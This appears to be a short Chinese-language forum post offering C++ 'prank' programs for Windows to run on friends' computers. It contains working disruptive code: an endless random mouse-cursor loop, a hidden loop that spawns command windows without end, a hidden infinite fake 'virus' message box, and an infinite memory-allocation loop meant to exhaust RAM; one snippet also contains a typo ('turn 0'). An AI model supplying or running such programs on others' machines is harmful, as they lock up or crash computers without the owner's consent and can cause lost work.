可以戏弄一下朋友,自己别尝试,仅供娱乐!
A疯狂鼠标
#include<windows.h>
#include<ctime>
using namespace std;
int main()
{
int x=GetSystemMetrics(SM_CXSCREEN);//获取屏幕边界x
int y=GetSystemMetrics(SM_CYSCREEN);//获取屏幕边界y
srand(time(0));//使用随机变化值空间
while(1){//无限循环
SetCursorPos(rand()%x,rand()%y);//依次将鼠标指针移到屏幕上的随机位置
}
return 0;//主函数结束,返回0
}
由此可以引申“鼠标失灵”
#include<windows.h>
#include<conio.h>
#include<time.h>
#include<stdio.h>
using namespace std;
int main(){
system("title");
int x,y,jy;
long long s=0;
while(s<10000000){//给自己留后路
x=1;
y=1;
SetCursorPos(x,y);
s++;
}
return 0;
}
B无限窗口
#include<windows.h>
using namespace std;
int main()//主函数开始
{
ShowWindow(GetForegroundWindow(),0);//隐藏主窗口
while(1){
system("start cmd");
}
return 0;//主函数结束,返回0
}
C溥哥病毒
#include <windows.h>
#pragma comment (lib, "User32.lib")
int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){
ShowWindow(GetForegroundWindow(),0);//隐藏主窗口
while(1){
MessageBox(NULL, TEXT("你点确定试试?关不掉吧!hahaha"), TEXT("你的电脑中病毒了"),MB_OK);
}
return 0;
}
D忒卡
#include<stdlib.h>
#include<iostream>
using namespace std;
int a;
int main(void)
{
cout<<":(你的电脑......"<<endl;
while(1){
malloc(200000);
}
turn 0;
}
求三联,谢谢。